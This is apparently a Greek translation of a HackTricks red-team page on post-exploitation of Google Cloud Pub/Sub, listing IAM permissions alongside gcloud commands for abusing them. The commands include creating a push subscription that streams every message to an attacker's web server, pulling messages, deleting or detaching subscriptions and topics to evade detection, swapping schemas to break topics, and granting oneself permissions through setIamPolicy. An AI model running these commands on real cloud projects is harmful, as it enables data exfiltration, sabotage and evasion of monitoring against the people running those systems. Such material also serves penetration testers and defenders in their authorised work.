GCP - Pub/Sub Post Exploitation

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Pub/Sub

Για περισσότερες πληροφορίες σχετικά με το Pub/Sub, ελέγξτε την ακόλουθη σελίδα:

pageGCP - Pub/Sub Enum

pubsub.topics.publish

Δημοσιεύστε ένα μήνυμα σε ένα θέμα, χρήσιμο για να στείλετε απρόσμενα δεδομένα και να ενεργοποιήσετε απρόσμενες λειτουργίες ή να εκμεταλλευτείτε ευπάθειες:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Χρήσιμο για να αποτρέψετε μια συνδρομή από το να λαμβάνει μηνύματα, ίσως για να αποφύγετε την ανίχνευση.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Χρήσιμο για να αποτρέψετε μια συνδρομή από το να λαμβάνει μηνύματα, ίσως για να αποφύγετε την ανίχνευση. Είναι δυνατόν να διαγράψετε ένα θέμα ακόμα και με συνδρομές που είναι συνδεδεμένες σε αυτό.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Χρησιμοποιήστε αυτήν την άδεια για να ενημερώσετε κάποια ρύθμιση του θέματος για να το διαταράξετε, όπως --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Δώστε στον εαυτό σας την άδεια να εκτελέσετε οποιαδήποτε από τις προηγούμενες επιθέσεις.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Λάβετε όλα τα μηνύματα σε έναν διακομιστή ιστού:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Δημιουργήστε μια συνδρομή και χρησιμοποιήστε τη για να ανακτήσετε μηνύματα (pull messages):

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Η διαγραφή μιας συνδρομής μπορεί να είναι χρήσιμη για να διαταράξετε ένα σύστημα επεξεργασίας καταγραφών ή κάτι παρόμοιο:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Χρησιμοποιήστε αυτήν την άδεια για να ενημερώσετε κάποια ρύθμιση ώστε τα μηνύματα να αποθηκεύονται σε ένα μέρος που μπορείτε να έχετε πρόσβαση (URL, πίνακας Big Query, Bucket) ή απλά για να το διαταράξετε.

pubsub.subscriptions.setIamPolicy

Δώστε στον εαυτό σας τις απαραίτητες άδειες για να εκτελέσετε οποιαδήποτε από τις προηγούμενες σχολιασμένες επιθέσεις.

pubsub.schemas.delete

Διαγράψτε ένα σχήμα για να μπορείτε να στείλετε μηνύματα που δεν πληρούν το σχήμα:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Επιτεθείτε σε ένα σχήμα σε ένα θέμα, έτσι ώστε τα μηνύματα να μην το πληρούν και, συνεπώς, το θέμα να διαταραχθεί. Εάν δεν υπάρχουν καθόλου σχήματα, μπορεί να χρειαστεί να δημιουργήσετε ένα.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}

```bash # Attach new schema gcloud pubsub topics update projects//topics/ \ --schema=projects//schemas/ \ --message-encoding=json ``` ### `pubsub.schemas.setIamPolicy`

Δώστε στον εαυτό σας τις απαραίτητες άδειες για να εκτελέσετε οποιαδήποτε από τις προηγούμενες σχολιασμένες επιθέσεις.

pubsub.snapshots.create, pubsub.snapshots.seek

Αυτό θα δημιουργήσει ένα αντίγραφο όλων των μη αναγνωρισμένων μηνυμάτων και θα τα επανατοποθετήσει στην συνδρομή. Δεν είναι πολύ χρήσιμο για έναν επιτιθέμενο, αλλά εδώ είναι:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated